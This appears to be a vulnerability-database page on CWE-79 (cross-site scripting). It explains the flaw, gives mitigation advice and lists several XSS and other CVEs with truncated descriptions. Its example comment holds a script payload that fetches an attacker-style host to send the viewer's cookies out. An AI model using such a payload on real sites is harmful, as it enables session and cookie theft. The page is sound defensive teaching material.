Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-45265CRITICALA SQL injection vulnerability in the poll component in SkySystem Arfa-CMS before 5.1.3124 allows remote attackers to execute arbitrary SQL cEPSS 1.0%CVE-2022-43185MEDIUMA stored cross-site scripting (XSS) vulnerability in the Configuration/Holidays module of Rukovoditel v3.2.1 allows attackers to execute arbEPSS 1.0%CVE-2024-51135CRITICALAn XML External Entity (XXE) vulnerability in the component DocumentBuilderFactory of powertac-server v1.9.0 allows attackers to access sensEPSS 1.0%CVE-2021-25933MEDIUMIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through EPSS 1.0%CVE-2024-23111MEDIUMAn improper neutralization of input during web page Generation ('Cross-site Scripting') vulnerability [CWE-79] in FortiOS version 7.4.3 and EPSS 1.0%CVE-2026-22704HIGHHAXcms Has Stored XSS Vulnerability that May Lead to Account TakeoverEPSS 1.0%CVE-2025-34172MEDIUMNetgate pfSense CE HAProxy Package 0.63_10 Reflected Cross-Site ScriptingEPSS 1.0%CVE-2023-34226MEDIUMIn JetBrains TeamCity before 2023.05 reflected XSS in the Subscriptions page was possibleEPSS 1.0%CVE-2023-38066MEDIUMIn JetBrains TeamCity before 2023.05.1 reflected XSS via the Referer header was possible during artifact downloadsEPSS 1.0%CVE-2023-34222MEDIUMIn JetBrains TeamCity before 2023.05 possible XSS in the Plugin Vendor URL was possibleEPSS 1.0%CVE-2023-39175MEDIUMIn JetBrains TeamCity before 2023.05.2 reflected XSS via GitHub integration was possibleEPSS 1.0%CVE-2023-6697MEDIUMWP Go Maps (formerly WP Google Maps) <= 9.0.28 - Reflected Cross-Site ScriptingEPSS 1.0%CVE-2023-38063MEDIUMIn JetBrains TeamCity before 2023.05.1 stored XSS while running custom builds was possibleEPSS 1.0%CVE-2022-1346CRITICALMultiple Stored XSS in causefx/organizrEPSS 1.0%CVE-2022-1344CRITICALStored XSS due to no sanitization in the filename in causefx/organizrEPSS 1.0%CVE-2023-34229MEDIUMIn JetBrains TeamCity before 2023.05 stored XSS in GitLab Connection page was possibleEPSS 1.0%CVE-2021-28625MEDIUMAdobe Experience Manager Cross-site Scripting vulnerability in inbox workitem.jspEPSS 1.0%CVE-2021-28628MEDIUMAdobe Experience Manager Cross-site Scripting vulnerability in inbox render.jspEPSS 1.0%CVE-2023-34221MEDIUMIn JetBrains TeamCity before 2023.05 stored XSS in the Show Connection page was possibleEPSS 1.0%CVE-2023-38061MEDIUMIn JetBrains TeamCity before 2023.05.1 stored XSS when using a custom theme was possibleEPSS 1.0%